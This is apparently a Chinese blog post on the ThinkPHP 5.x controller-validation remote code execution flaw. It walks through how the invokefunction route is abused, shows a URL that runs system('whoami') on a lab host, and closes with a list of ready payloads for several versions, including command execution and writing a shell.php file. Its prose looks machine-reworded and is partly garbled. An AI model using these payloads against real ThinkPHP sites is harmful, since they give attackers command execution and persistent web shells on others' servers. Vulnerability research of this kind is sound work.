先来简单说说前一天thinkphp官方恢复的一个getshell漏洞,框架对控制器沒有开展足够的检验造成 的一处getshell

危害的范畴: 5.x < 5.1.31, <= 5.0.23

漏洞伤害: 导致被提权(你懂得的)

这儿另附一个自身检测的 thinkphp的 连接  http://www.thinkphp.cn/download/1260.html  版本号是5.0.22

先而言下,5.0 跟5.1的差别吧,tp5.1中导入了器皿(Container)和店面(Facade)这两个新的类  tp5.0是沒有这两个新的类的,

漏洞基本原理

URL:http://192.168.188.141/public/index.php?s=index/\think\app/invokefunction

大家先讨论一下App类里的 exec涵数里的实行层次控制器的实际操作

thinkphp代码执行getshell的漏洞解决 漏洞 getshell ThinkPHP 脚本攻防  第1张

大家这儿是把controller 的启用信息内容跟配备信息内容所有传入了 invokeFunction 这一 实行涵数里边来到

thinkphp代码执行getshell的漏洞解决 漏洞 getshell ThinkPHP 脚本攻防  第2张

由于think\App是第二个通道,在tp运作的情况下便会被载入 因此 用think\App里边的层次控制器的实行实际操作的情况下,必须去启用invokeFunction这一涵数。

这一涵数有两个主要参数,如圖所显示,第一个是涵数的姓名,第二个主要参数数组,例如$function传到BaiDu随后$vars传到[12,555]就等同于启用BaiDu(12,555)

这里大家把function传到call_user_func_array随后vars[0]传到我们要实行的涵数的姓名vars[1]传到要实行涵数的主要参数,由于vars是个数组 因此 这里大家的get请求必须那样写

vars[]=涵数名&vars[1][]=主要参数

这里是运用php的数组引入

此刻就可以刚开始运用远程控制代码执行漏洞了 例如我们要实行system涵数 他的主要参数是whoami

http://192.168.188.141/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

thinkphp代码执行getshell的漏洞解决 漏洞 getshell ThinkPHP 脚本攻防  第3张

下边你懂得的,做为一个继任者我们要做的便是恢复他(肆无忌惮?),自然官方升级的最新版是早已恢复了的

thinkphp代码执行getshell的漏洞解决 漏洞 getshell ThinkPHP 脚本攻防  第4张

这儿就代码执行取得成功,下列无私奉献上tp不一样版本号的payload

?s=index/\think\Request/input&filter=phpinfo&data=1
?s=index/\think\Request/input&filter=system&data=id
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=
?s=index/\think\view\driver\Php/display&content=
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

之上便是文中的所有内容,期待对大伙儿的学习培训有一定的协助,也期待大伙儿多多的适用。